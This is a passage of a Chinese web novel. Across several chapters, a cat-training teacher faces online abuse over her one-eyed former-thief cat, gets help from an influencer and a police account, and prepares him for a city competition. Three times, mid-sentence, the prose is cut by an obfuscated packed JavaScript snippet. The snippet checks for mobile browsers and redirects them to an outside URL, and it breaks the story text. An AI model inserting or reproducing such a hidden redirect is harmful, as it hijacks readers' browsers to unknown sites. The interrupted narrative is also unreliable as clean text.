灰狸推开门,看起来一夜好眠,肌肤都饱满鲜润。他不客气地往门板上一靠:“我饿了。” 哎,这就是养猫人的苦了,小猫咪才不管你是天塌还是地陷,到了饭点必须得起来放饭。江有鱼苦笑一下,掀开被子起了床。 往日她都会亲自下厨,但今天她实在没什么心情,便拿了一包猫饼干塞给灰狸:“喏,吃吧。” 灰狸不满地把猫饼干扔回去:“用这个就想打发我?我要吃瘦肉粥和墨鱼饼!” 灰狸很少对食物提出要求,这是他第一次明确地说要吃什么,江有鱼不想拒绝他。但是她也实在不想做饭,只好道:“那你等等,我点个外卖。” 不是你亲手做的,那有什么好吃? 灰狸感受到了敷衍,但是他看出江有鱼的脸色不大好看,也没再说什么。只是抿着嘴,凑到江有鱼的手机旁边,江有鱼上下滑动着外卖店家,让他来选。 在点外卖的途中,手机上方不断弹出小窗,里面都是一条条新的评论内容。 灰狸大部分都看不懂,只能看懂猫、坏、没妈、死全家等几个词,他知道那都不是好话。 他眸光冷下来了,指着小窗问道:“有人在骂你吗?凭什么?” 江有鱼连忙关闭了小窗提示:“没事,你快点外卖吧。” 人类的世界太复杂,小猫咪不需要懂太多,懂了就不会快乐了。这种苦头,人类自己吃就够了。 灰狸不吭声了,他知道江有鱼有事情瞒着他,而且不是好事。 明明昨天他已经帮江有鱼赚到一万块了呀?人类不是有了钱就会满足吗?为什么江有鱼更加不快乐了? 灰狸想不通,也没了吃饭的胃口。但他还是用手机点了一家价格数字最小的外卖,毕竟江有鱼不能吃猫饼干充饥。 很快外卖就到了,一人一猫沉默着对坐吃完了饭,这家外卖味道很差,江有鱼觉得所有食物都又咸又苦。 吃完饭,她什么都不想干,索性又歪回沙发上,愁思沉沉。 本想宣传一下教学成果,结果适得其反,按照这个样子下去,猫德学院就彻底完蛋了。 果然她跟互联网犯冲是吗?之前做街坊生意时,大家对教学质量都是有口皆碑,结果每次网上宣传,都招来一堆屁事…… 人家都说黑红黑红,怎么到她这,就只有黑,没有红了呢? 她烦的直挠头,也不知道过了多久,这才惊诧地发现,灰狸就在她面前的地板上坐着,歪着个脑袋看她。 她吓一跳:“怎么,你脖子扭了?” 灰狸的脸色肉眼可见地黑了,他一扭头,也不管江有鱼怎么想,噔噔噔跑上楼去了。 小猫咪就是喜欢发神经,江有鱼也没去管他,继续想自己的心事去了。 直到下午两点上课了,灰狸才从楼上下来,江有鱼纵然心情再差,上课的时候都一定会打起十二万分的精神,除了灰狸,没有猫知道她不高兴。 今天上的是生活常识课,教学目标是让学员们学会家用电器的简单操作,以免猫咪在家乱摁按钮,删除重要资料、弄坏贵重财产,甚至引发电器火灾。 之前他们已经学会了冰箱、电视、微波炉等简单家电的使用方法,今天江有鱼决定给他们上点强度。 她拿出今天的教具,分别是手机、iPad、和笔记本电脑,三样东西都是她的,属于就地取材了。 “大家看,这个手机就是主人们最重要的通讯工具,他们会一直拿在手上,作为好猫,我们只需要学会,不要随意触碰主人的手机。” “笔记本电脑是主人办公用具,当主人在用笔记本电脑的时候,好猫千万不能打扰主人,也不能去键盘上乱踩哦!” 上述两个电器,江有鱼只会教他们如何开关机,至于iPad,很多主人都会把它拿给小猫玩,所以江有鱼教的就细致多了。 “按这个最大的按钮,就是返回主界面,想要用什么APP,只需要点击一下就好了……” 大多小猫在这门课上的表现都不错,只有灰狸因为之前没接触过过iPad,有些跟不上节奏,直到下课也没太学会。 下一节课是猫咪社交课,考虑到灰狸不太喜欢变成原形,江有鱼干脆让艾达来辅导灰狸用iPad,也算是一种猫咪社交,她正好在旁边发发呆,平复一下心情。 艾达拿着iPad,修长手指在屏幕上划来划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911086|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,演示给灰狸看:“这有什么难的?这样piu一下,那样duang一下,然后啪啪啪啪!你看,这就好了!” 灰狸看的眼花缭乱,钦佩道:“你真厉害!这么复杂的东西都会用!你是怎么记住这些APP的?有些界面上的字我都不认得呢!” “嗨,认字做什么?只需要记住图案就行了,虽然每个界面都不同,但是图案代表的意思不会变!” 艾达开始传授诀窍了:“向左边的箭头就是返回,爱心就是认同,星星就是收藏,带刺的小圆圈就是评论,肯定不会有错的!” “那你是怎么记住这些APP的?” “熟能生巧!”艾达骄傲地仰起头,“我的主人每天都会跟iPad啦、手机啦打交道,我经常看她使用,自然就记住啦!网上的事情我全懂!你有事情尽管来问我哦!” 原来,艾达的主人梅丽莎是个网红,艾达在家耳濡目染,自然把互联网玩的炉火纯青。 灰狸想起江有鱼上午躲躲闪闪的样子,似乎就跟网络有关,连忙虚心向艾达请教了。 他努力回想上午那个小窗里的图标,向艾达描述着:“是个粉色的图案,好像还画着一个猫爪印……你知道那是什么吗?” “你说的肯定是喵知道吧!”艾达滑动iPad,一下就找到了对应图标:“我的主人在喵知道上可是很红的!有几十万粉丝呢!” 艾达熟门熟路地打开喵知道,这个iPad同样关联着江有鱼的所有账号,两猫一下就看到了999+信息提示。 艾达愣了一下:“咦,江老师也很红吗?这么多人跟她打招呼?” 灰狸把iPad抢了过来,伸手点开了消息提示。 信息列表好长好长,他往下滑了又滑,始终拉不到头,铺天盖地,全是谩骂。 他笨拙地点击返回,看到了江有鱼发的那个贴子,自己抱着锦旗的样子十分显眼。 只因为江有鱼发了他的照片,就被这么多人骂了吗? 灰狸的心直往下沉,他想不明白这是怎么回事,于是求助艾达:“他们为什么要骂江有鱼?” 艾达也凑过来瞟了一眼,他虽然认字不行,但是对于网上口水战倒是门清,马上就看出端倪:“他们觉得江老师是骗子。” “骗子?” “是啊,大家都说你看起来就凶巴巴的,肯定不是什么好猫,怎么可能拿到锦旗?” 艾达接着往下滑,看到热评第一就是毒液发的那个链接,立刻点了进去。 画面上跳出灰狸愤怒的脸,狰狞恐怖,艾达吓了一跳,连忙按了返回。 灰狸什么都明白了。 是他的过去带累了江有鱼,没有人会相信他是好猫,只会把江有鱼当成骗子。 灰狸按动iPad锁屏钮,黑漆漆的屏幕反照出一张脸。 独眼、疤痕、满面煞气,确实怎么看都是歹徒,不是好猫。 灰狸的耳朵一点点趴下去了。 他从来没有为自己的过去羞耻过,偷东西是生计所迫,否则他没办法养活几百号弟兄。 人类怎么骂他、讨厌他,他都无所谓,反正他一点也不在乎人类的想法。 但是江有鱼不该为他的过去受辱。 他可是顶天立地的男猫,一猫做事一猫当,连累身边人算什么英雄呢? 灰狸握紧了拳头,他不想要别人再骂江有鱼! 他看向艾达:“艾达,你不是很懂网络吗?那你一定有办法让他们闭嘴的,对不对?” 16.不反转还能叫网络吗 艾达……艾达能有什么办法?艾达只是一只小猫咪罢了。 平台跟网警都做不到的事情,艾达又能做什么呢? 但是牛皮已经吹出去了,总不能说了不做吧?像他这样有身份的猫,可不能留下这种黑料,将来被人扒出来可就糟了! 被全网喷这种事情,他的主人也经历过好几次,每次都哭的稀里哗啦的,艾达能提供的帮助,只是在主人伤心时舔去她的眼泪罢了。 不过,他做不到的事情,也许他的主人能做到? 既然都被全网喷好多次了,总有些应对经验吧? 艾达是只要面子的猫,他硬着头皮道:“这事我可以帮你问一问,但是我可不保证能办成……” 灰狸双手啪地搭上他的肩膀,吓得艾达一抖:“请一定要办成!如果你能帮我这个忙,条件任你开!” 灰狸霸气侧漏地对着艾达许诺了:“不管你是要一百只老鼠组成的自助餐、还是要一千只蟑螂做宠物、亦或是要吃十斤的肥兔子,我都一定给你弄到!” 艾达光想象这些画面,就已经流冷汗了,把头摇的像个拨浪鼓:“不要不要!我最怕那些玩意了!” 家猫真奇怪,居然不喜欢这些东西,果然是血脉都退化了…… 灰狸从前是最瞧不起这种窝囊废家猫的,但现在他知道了,每只猫都有自己擅长的领域,就像他灰狸英雄一世,在互联网面前也是啥也不懂。 现在最重要的是帮助江有鱼,灰狸耐着性子问道:“那你要什么?只要我办得到,你尽管开口。” 艾达吞吞吐吐道:“……我主人很重视我的教育,给我买了好多文化基础课的习题册。要是我真能办成,你帮我把那些习题都写了呗?” 灰狸无奈地翻个白眼,对这学渣彻底绝望了:“成,交给我吧。” 有了这句话,艾达立刻打起十二万分的精力去办事,搞定主人是小猫必备的本领,艾达还是很有信心的。 当天晚上,有鱼猫德学院就迎来了一个意想不到的客人,正是艾达的主人梅丽莎。 梅丽莎是位个子高挑的美女,白皮肤,大长腿,长波浪卷发披下来,显得小脸只有巴掌那么大,看起来十足的高贵冷艳不好接近。 可惜她一张嘴,一口喜庆的东北话就把高贵冷艳滤镜全打破了。 现在,她正义愤填膺地安慰江有鱼:“事情我直道了!你这猫真银意啊,把我感动的眼泪哗哗的!这么银意的猫,咋能让人嗦成骗子捏?” 梅丽莎是怎么知道这件事的? 江有鱼十分疑惑,但想到自己昨天把帖子分享在朋友圈里,也就自以为明白了。 她连忙感谢梅丽莎:“梅姐,跟网友认真犯不上,我都没当回事儿,你也宽宽心。” “你都叫姐了,能让你白叫吗?”梅丽莎豪爽地一挥手:“姐还就看不惯那帮犊子玩意了,狗屁都不直道,还在网上瞎咧咧!不带这么欺负人滴!” 她看着灰狸:“这猫……这猫……这猫多壮啊!就算从前犯过错误,也不能一棒子给它打死,总得给个机会吧!” 江有鱼万万没想到梅丽莎这么仗义,愿意掺和这种事情,慌忙道:“不好吧梅姐,你这在网上混饭吃也不容易……” “你放心,这事姐一定帮你,咱不能让咪咪受屈!” 当天稍晚时候,梅丽莎的喵知道账号上发了一条新帖。 江有鱼点进去一看,只见上面明晃晃地发布着一张合照。 合照上是两人两猫,灰狸依然捧着那面锦旗,但这一次眼神不再羞涩,反而怒瞪着镜头,独眼里寒光凛然,似乎想要捍卫什么。 梅丽莎在下面为江有鱼做了澄清,大意就是自己的猫也在有鱼猫德学院上课,她能证明,灰狸的事迹跟锦旗全部都是真的。 谁要说不是真的,谁就拿出证据,而不是一个劲儿给人泼脏水。 梅丽莎一下场,她的粉丝们立刻为江有鱼摇旗呐喊起来,事情的走向立刻戏剧化起来,无数网友的热情纷纷被调动,跟来吃瓜。 梅丽莎虽然具有一定公信力,但依然有人质疑,梅丽莎是否是被有鱼猫德学院收买了?这年头网红的话能信吗? 事件至此扑朔迷离,网友们在网上吵了三天三夜,不分胜负。 直到又一个关键转折点到来。 一周后,云朵市公安局官方号发布了一张警情通报,上面把通缉犯落网的前因后果说的一清二楚。 官方还明确表扬了灰狸勇斗歹徒的行为,并在评论区里,俏皮地称灰狸是“绝世好猫”。 江有鱼看到的瞬间,第一时间给冉晨星打去电话:“晨星,是不是你?” 冉晨星嘻嘻笑了两声:“嘘,保密,要是让领导知道我运营的官方号这么不严肃,说不定要处分我呢。” 江有鱼实在不知道说什么好:“谢谢你这么帮我……” “哪有,警情通报什么时候发布,我说了可不算,我顶多就评论了一句绝世好猫,这是灰狸应得的。好了,你可别想着谢我,要不然事情反而复杂了啊。” 江有鱼挂断电话,心里暖暖的。 她点开喵知道,发现警情通报一出,时间热度再上新台阶,网友们瞬间沸腾了。 别的可以不信,公安局的话还能不信? 再也没有什么好争论的,灰狸就是名副其实的“绝世好猫”! 消息提示再度飙升到了999+,但这一次,评论却完全不同了。 猫猫是世界的救星:猫保护了人,猫好!人不相信猫,人坏! 清心寡欲:众生有灵,猫咪救主,善哉善哉,随喜赞叹。 二两芝麻糊:你们有没有发现,这猫的眼神都不一样了,之前是凶悍,现在好清澈好萌! 家有逆子:没错!从江洋大盗猫到勇斗歹徒、保护人类的绝世好猫,这中间到底都发生了些什么啊?有鱼猫德学院到底是何方神圣,能缔造此等浪子回头的奇迹? 无数网友抱着疑问,关注了有鱼猫德学院,江有鱼的账号粉丝如同坐了火箭,一夜之间飙升了两万。 江有鱼大喜,连忙抓住这个机会宣传学院,可惜的是,这波粉丝更多是抱着看热闹的心态来的,认真咨询入学事宜的不多。 但是蚊子腿也是肉,几天下来,江有鱼还是接待了十来位有意入学的客户,奄奄一息的有鱼猫德学院,顿时有了中兴的迹象。 看着江有鱼笑逐颜开,灰狸也觉得十分得意。 艾达办事还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921133|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真靠谱,既如此,他灰狸也不能掉链子。 当晚,江有鱼在一楼熬夜整理入学档案册,虽然有些客户还没谈妥,但下一期她最少能接到十五位学员,都已经付了定金。 算完了账,她心情颇为愉快,上课回到卧室,路过灰狸门口,却发现灰狸还没睡。 她悄声探头一看,惊讶地发现,灰狸居然还在做功课! 奇怪,她不记得自己留了这么多作业啊? 灰狸一心扑在习题上,扳着手指算(12+14)-(2x3)到底等于多少,可恨手指不够多,烦的他尾巴直掉毛,根本没注意到江有鱼就站在后面。 她轻轻拍了一下灰狸的后背,惊得灰狸一抖,第一时间就是扑在书桌上,不敢让江有鱼看出那是艾达的习题本。 江有鱼温和道:“是遇到什么困难了吗?” 梅丽莎对艾达的教育确实上心,那些课外习题本是用来鸡猫的,题目难度颇高,灰狸做起来确实吃力。 但是他可不想让江有鱼知道自己在替别人写习题,立刻装出一副无事发生的样子:“没有啊。” 他嘴上那么说,眼睛却不敢跟江有鱼对视,一看就心虚的很。 哎~口是心非的小猫咪啊!为什么非要自找苦吃呢?她难道还会嘲笑灰狸的水平吗? 江有鱼也不跟他拧着来,只道:“那好吧,既然没有问题,那你就睡觉吧,小猫不能熬夜。” 她也不走,亲自监督着灰狸上了床说过晚安,这才关灯离开。 于是灰狸只好在半夜一点偷偷摸摸地起床,继续在被窝里替艾达写习题,冥思苦想:(12+14)-(2x3)到底等于几呢? 灰狸头疼,灰狸难受,但灰狸挺得住。 他为江有鱼受的这番罪,他不打算让江有鱼知道。 毕竟,他也不是为了得到感谢才这么做的。 灰狸相信,笑容不会凭空出现,世界上有一个人开心的同时,就有一个人在受罪。 那么,就让江有鱼开心,他来受罪好了。 舍己为人,这才是男猫的气概呀! 有气概的男猫抓抓头,把袜子脱了,手指脚趾一起上,看能不能凑够题目的答案。 怪了,怎么还是算不出来? 江有鱼本以为,这次网络风波到今天就算结束了。 但是一只江洋大盗猫变为官方认证的绝世好猫,实在太有戏剧性,各路营销号把这段素材传了又传,热度经久不衰。 这么有趣的事件,自然得到了有心人的注意。 这天,一封私信传到了江有鱼的后台,她点开一看,一瞬间不敢相信自己的眼睛。 那是云朵市猫德大赛组委会发来的邀请函,他们希望有鱼猫德学院选送灰狸,参加第十届猫德大赛。 灰狸正在一楼晒着太阳打盹,猛可里二楼传来一声高叫,吓得他四爪起飞。 江有鱼像是一辆破火车,一路叮铃咣当还拉着汽笛冲下楼,:“云朵市猫德大赛!!!邀请你参赛了!灰狸灰狸灰狸!我们要发达啦啊啊啊啊啊!!!!!” 她的声音过分尖锐,灰狸有些受不了地捂住耳朵。 云朵市猫德大赛?那是什么东西,至于让她这么激动? 17.赛前准备 云朵市猫德大赛,是一个历史悠久、特色鲜明的赛事。 比赛目标,就是评选谁才是最有猫德的猫! 本市所有优秀猫咪学员,都会在赛场上同台竞技,争夺云朵市第一好猫的荣誉称号,夺得冠军的猫德学院会获得十万奖金。 这个比赛其实很小众,但在云朵市猫德教育界的地位很高,堪比奥斯卡之于演艺圈,奥运会之于体育圈。 总之,若能哪只猫在这个比赛上夺魁,他背后的学院也就成了冠军学院,从此在猫德教育界扬眉吐气了! 江有鱼之前做梦都想参赛,可惜比赛也有门槛。 学院若想报名参赛,第一,办学场地不小于两千平米;第二,在籍学员需超过一百个;第三,学院教师需超过十人。 换句话说,只有办学资本雄厚的大学院才能参赛。 有鱼猫德学院即使在巅峰时期,也就四十个学生,教师更是从头到尾就江有鱼一个,怎么可能有资格参赛?除非是走大赛特别邀请通道。 这种梦,江有鱼就更不敢做了,特别邀请是为关系户准备的,怎么也轮不到她啊。 但是现在,梦想成真了!特别邀请函就在她手里! “只要你能参加这个比赛我就发达了马上就能赚到好多钱我还会要成为最有名的猫德训练师壮大学院你明不明白!” 江有鱼一口气说完,呼哧呼哧直喘。 一段话信息量太大,灰狸反应了半天才道:“等等,我参赛你就一定能发达吗?” 灰狸一句话,把江有鱼从狂热中拉了回来。 云朵市好猫层出不穷,每个学院选送的参赛选手也必定是尖子生,灰狸虽然资质聪明,但他能参赛主要是因为网上的热度,要说成为第一好猫嘛…… 好吧,希望是很渺茫。 江有鱼冷静了不少,但是她依然没放弃自己的幻想:“灰狸,你其实是只非常棒的猫,你要对自己有信心!” 灰狸拧起眉毛:“什么信心?我告诉你,要是又比什么撒娇打滚讨好人的东西,我可坚决不参赛!” 江有鱼想,就算让你去参赛,你也得把评委吓死,她可不打算自找麻烦。 “放心,猫德大赛跟课堂一样,分情绪价值组、体育运动组、生活常识组、猫咪礼仪组、健康安全组、文化组六个组进行比赛。” “等六个组冠军产生了,再从组冠军中选一位总冠军。” “我想,总冠军咱们是指望不上了,组冠军还可以争取一下。你不喜欢讨好人,只要别报名情绪价值组的比赛就行了。” 这倒还可以接受,灰狸甩了甩尾巴,对于参赛没有反对意见了。 他问道:“组冠军能拿到多少钱?” “奖金的话,大概就两万左右吧,不过这不是奖金的问题,这是荣誉啊荣誉!”江有鱼浮想联翩,“假如我能培养出一个组冠军,有鱼猫德学院就是名校了啊!” 她两只眼睛直放光:“到时候,我把组冠军的荣誉奖牌往门口一挂,那气派,还用提吗?所有来报名的家长,都得高看我一眼!我还能给学费涨价……” 她越说越兴奋,嘟嘟囔囔不知道说到哪去了。 灰狸看她这副样子,只得用尾巴敲了敲地板,把跑神的江有鱼拉回来:“那照你说,我应该报名哪个组别的比赛?” 江有鱼用猫德教师的专业眼光打量了一下灰狸:“其实你很聪明,几乎是我见过最聪明的猫了,但你的学习底子薄,生活常识、健康安全这些课程,暂时比不过人家。” “你的强项是体育运动课,我看过你爬树的样子,我可以肯定的说,在云朵市几乎没有猫能做的比你好。” 灰狸心里也是这么想的:“那我就报名体育运动组吧。” 江有鱼便为灰狸介绍起体育运动组的赛事:“体育运动组的比赛,要考察猫咪柔韧、耐力、敏捷三方面的素质。” “按照往年的赛程,应该会比瑜伽、铁猫三项和障碍跳。” 灰狸知道瑜伽是什么,但是障碍跳和铁猫三项他就不清楚了,江有鱼便翻出一些往年夺冠选手视频给灰狸看。 铁猫三项分别考察跑步、游泳和攀岩,对灰狸来说轻而易举。 至于障碍跳比赛,就跟《男生女生向前冲》的闯关赛道差不多。 小猫时而要在梅花桩上跳来跳去、时而要在大摆锤的威胁下走独木桥、时而要跳上摆荡绳飞渡水面,十分惊险刺激。 不过在灰狸眼中,这只是些小儿科的玩意。 再高的梅花桩,能有楼顶高?速度再快的摆锤,能有汽车快? 如果就比这个,他不用训练都能拿冠军! 只是,他越看越不对劲,沉声问道:“为什么他们都用原形参赛?” “猫德比赛,当然要用猫咪原形参赛了,这样才能最大程度地发挥猫咪的优势啊。” “什么优势?我觉得原型跟人形比起来,力气不差多少。” “可爱优势呀!观众最喜欢看毛绒绒的小猫闯关了,每次到障碍跳比赛时,收视率都能创新高。云朵市电视台也是组委会成员之一,要全程直播比赛的,当然会要求选手变原型。 ” 要、要变成原型,在这跳来跳去的,还要播放给全市观众看? 灰狸一下炸毛了:“我不要!太丢猫脸了!我要求人形参赛!” 江有鱼很无奈:“这有什么丢脸的?大家都用原形啊,而且赛道也是根据猫的形态设计的,用人形根本没法通过。” 她好说歹说,灰狸的反应却相当激烈,一副如果硬要他变成原型就不参赛了的样子。 江有鱼没办法,只得道:“好吧,那就只能放弃你最有优势的科目,转而报名文化组了。” 文化组绝对符合灰狸人形参赛的需求,因为不变成人形没法握笔。灰狸是满意了,江有鱼却发愁了。 小猫基本都不爱学文化课,但总有那么一两个文艺学霸猫,一般这种学霸猫的主人也是搞文化工作的,不是老师就是作家,可称得上是家学渊源。 这些学霸猫可不满足于认三百字的考证要求,个个能写会算,往年还有能认到一千字的小猫呢! 灰狸虽然对于念书算数有热情,但他毕竟是个初学者,能跟学霸猫们一较长短吗? 距离比赛还有一个月,罢了,临时抱佛脚吧,为了夺冠,得给灰狸做赛前培训! 江有鱼当时就冲到书店,买了一大堆赛级教辅题目,灰狸从今天起,正式进入了魔鬼学习节奏。 清晨七点,江有鱼会把灰狸从床上摇起来,带他一起诵读蒙学经典:《千字文》、《三字经》、《弟子规》…… 早读完毕,灰狸会收获营养丰富的早餐:煮蛋、芝麻核桃饼、菠菜猪肝粥……都是健脑食品,饭后还要喝一管苦了吧唧的营养液,据说钙铁锌硒维生素全都补。 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931664|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午,江有鱼会指导灰狸算数学题,一个上午起码要做200道题目,且严禁扳手指头,若是正确率不达标,还会罚做新题。 中午,江有鱼会给灰狸播放文化纪录片《幼儿诗词大会》,江有鱼认为这叫寓教于乐。 下午还是惯常的上课,晚上则练习写字,灰狸需要一遍遍地抄写三字经,一边写一边背诵,力求达到认字写字双管齐下的效果。 这样连续折腾一个月下来,连江有鱼都疲惫不堪,更不要说灰狸了。 江有鱼很怕灰狸撂挑子说不干了,毕竟这种行程安排对小猫来说,实在太不人道,但灰狸的反应却出乎她的意料。 他虽然也累了,但是从未抱怨一声,相反,他好像还蛮喜欢这种生活的,甚至还想主动给自己加码。 现在是晚上十一点,灰狸的眼睛依然睁得很大,江有鱼劝他睡觉,他反而表示时间宝贵,不能浪费。 怎么会有这么耐鸡的小猫啊! 江有鱼困得直打哈欠,但她是教师,怎么能抗拒学员的热情:“那好吧,我们可以一起读一个睡前故事,然后你就必须睡觉了,好不好?” 灰狸点头,爬上床躺好。 江有鱼扭亮小壁灯,拿出一本童话书坐在他旁边,念起了经典童话《美女与野兽》。 “从前,有一个老人,他有个十分漂亮的女儿,名叫贝儿。有一天,老人要出远门,询问贝儿想要什么礼物,贝儿说,想要一朵玫瑰花。” “一年后,老人回了家,在一座城堡里借宿,城堡的主人慷慨地招待了他,却始终不露面。临走时,老人发现城堡里的玫瑰很美,于是折下了一朵,打算送给贝儿。” 暖黄的灯光温柔宁馨,四周一片寂静,身下是柔软的床垫,江有鱼只觉得眼皮越来越沉。 她强打精神,继续念道:“……一个可怕的野兽出现,吼道:‘贪婪的人类啊,你居然偷了我的玫瑰花!现在你必须把你的女儿赔偿给我!’” 书本上的字像是一只只小虫,往江有鱼的眼睛里钻,她的呼吸越来越悠长了,念书的声音也停顿了,脑袋一点一点的。 灰狸见没人念书了,便尝试着自己去读:“贝儿得知此事,自愿来到了野兽的城堡……” 灰狸惊喜地发现,他能够完整地读完一句话了!居然没遇到不认得的字! 魔鬼式学习的效果初见端倪,现在,他可以读简单的书了! 他立刻想要把这个喜讯告诉江有鱼,可是,江有鱼已经歪在床上睡着了。 打扰睡着的人,是不是挺不礼貌的? 这样想着,灰狸便没有动。 他知道江有鱼最近也很累了,不仅要辅导他功课,还要买菜煮饭给他吃,自己七点起床,江有鱼六点就要起来做早餐,晚上她又要备课,一天只能睡上四五个小时。 荣誉,就那么重要吗?比睡觉还重要吗? 灰狸摇了摇头,他并不理解荣誉的含义,但是既然江有鱼那么想要夺冠,他也一定会全力以赴的。 他抖开被子,给江有鱼盖好,自己轻手轻脚下了床,坐到桌边,默默翻阅着那本童话故事。 他很想知道那故事的结局,一个丑陋粗野的野兽,真的能得到爱吗? 书页翻动声,似乎吵醒了江有鱼,她在梦中哼了一声:“灰狸?” 灰狸一心看书,只把大尾巴伸过去,轻轻蹭了蹭江有鱼的脸:“我在呢,睡吧。” 18.云朵市猫德大赛 五月一日,猫德大赛准时召开。 往年猫德大赛的赛场都在云朵市体育馆,但今年因体育馆施工整改,比赛场地定在了猫猫天才学院。 对江有鱼来说,这也算个利好消息,猫猫天才学院离她们家直线距离八百米,步行距离1.5公里,走路不到20分钟就能到,有利于灰狸保存体力。 明明灰狸才是参赛选手,可是江有鱼比他还要紧张,比赛时间是八点,她五点就起床,弄了一大桌子早餐,不知道的人还以为她要开早餐铺子。 吃早饭时,她依然神经兮兮,灰狸端起一杯豆浆,她连忙阻拦:“不行……喝太多液体,万一你比赛的时候想上厕所怎么办?” 灰狸瞥她一眼,放下豆浆,拿起一个奶香馒头。 江有鱼依然不满意:“馒头是没有油水的东西,你吃了不抗饱,万一比赛的时候饿了怎么办?” 灰狸的手背上鼓起青筋,忍耐地把馒头放下,抓起一个榨菜肉包。 江有鱼一眼瞥见,失声叫道:“不行!榨菜太咸了,说不定会齁到你嗓子的,嗓子哑了,评委会扣印象分的!” 灰狸的忍耐已经到了极限:“你到底是想让我吃,还是不想让我吃?” 江有鱼也知道自己过分了,可怜巴巴地看他:“我这不是不想出差错嘛~” 她的眼珠乌黑浑圆,睫毛浓密而长,灰狸不懂得人类长成什么样子才是美,但是他忽然觉得,江有鱼的眼睛,像是雨后街道上的小水泊。 他路过,就总想去踩上一爪,水泊会泛起小小的涟漪,他怎么都看不腻。 灰狸有点看呆了。 好半晌,他才移开目光,哼了一声示意不再计较,端起一碗鲜肉馄饨吃了起来。 闹过这一出,江有鱼也冷静了不少,之后没再出其他岔子,吃完了饭,两人便拿着邀请函,前往猫猫天才学院。 猫猫天才学院果然不愧是全国有名的连锁学校,资本雄厚,云朵市的这个分校占地面积极大,江有鱼估摸着,可能跟人类的中学都差不多了。 学院里面有体育馆、图书馆、游泳池、宿舍楼、教学楼、食堂……道路干净整洁,路边栽种着夹竹桃和常春藤,花红叶绿,环境极好。 江有鱼却不着痕迹地皱了皱眉,招呼灰狸走到道路中间,离那些植物远点。 这两种植物对猫咪来说,都有一定毒性,误服后虽然不至于出猫命,但也会让猫上吐下泻。 江有鱼从来不会让这些东西出现在自己学院里,也不知道猫猫天才学院怎么做的核查工作,按理说,这么专业的学校,不该出现这种状况啊? 此时,学院里早已经是人山人海,各家学员、带队教师、媒体记者来来往往,六个分组的报名处都排起了长长的队伍。 灰狸很久都没见过这么多猫齐聚一堂的场面了,而且这些猫跟黎明会的兄弟们可不一样,个个皮毛顺滑,温文矜持、血统高贵。 方才在家的时候,灰狸还信心满满,可来到了赛场,看到自己的对手后,灰狸忽然觉得有点紧张了。 这些猫,看起来十分聪明漂亮,一看就是从小被主人当宝贝养大的,他跟人家一比,简直像是猫群中混进去个灰扑扑的老鼠一样显眼。 他毕竟只上过一个多月的学呀!他真能打败这些对手,夺得组冠军吗? 灰狸往后缩了缩,底气不足。 江有鱼也同样在打量参赛选手们,这一眼横过去,她登时就不紧张了。 参加文化组比赛的选手们,不是金渐层、银渐层,就是布偶,都是些美丽笨蛋,按照江有鱼的经验,这些小猫也就重在参与,连初赛都过不去。 她发现灰狸的耳朵垂下来了,尾巴尖也在颤抖,知道他是紧张了,连忙安抚道:“别紧张,我已经看过了,所有的小猫都不如你,放心大胆的享受比赛吧!” 灰狸低声道:“如果……如果我拿不到组冠军呢?” “说什么呢?你一定能拿到冠军的!”江有鱼用力拍了拍他的后背:“你可是灰狸,全云朵市的猫老大,哪只猫是你的对手?” “灰狸,像你这样聪明强壮的小猫,生下来就是要做第一的!这都是小场面,快快拿出志气来,我看好你!” 这一下,把灰狸从那种自怨自艾的情绪中打醒了,江有鱼说的没错,他可是灰狸啊!怎能比不上这些笨猫呢? 灰狸的头立刻高高昂起来了。 正好,这会儿队伍排到他们了。江有鱼不由分说地拉起灰狸的手,向前一步。 她递上邀请函:“有鱼猫德学院选送灰狸,报名文化组比赛。” 负责登记的人明显认识灰狸,不可思议地问道:“文化组?不是体育运动组吗?” 江有鱼斩钉截铁道:“就是文化组!我们灰狸文武双全,参加什么比赛都能拿第一!” 登记员不敢说什么,但那眼神显然十分不看好。江有鱼也不去理他,灰狸一定会用表现征服大家的。 就这样,灰狸完成了报名,领到了一个选手证挂在脖子上。 九点,所有选手都登记完毕,猫德大赛进入到开幕式流程。 猫猫天才学院的校长汪泉作为组委会成员与东道主致辞,预祝所有参赛选手赛出风格、赛出水平,台下,人类尚且强打精神听着,猫咪们早就睡成一片。 长达一小时必须走完的仪式过后,大赛终于正式开始! 灰狸被带到四号考场进行比赛,带队教师不能进入赛场,江有鱼只得在外面等,通过现场转播观察灰狸的表现。 俗话说的好,是骡子是马,拉出来一溜就知道,小猫们一进赛场,江有鱼立刻就能看出来,谁有戏谁没戏。 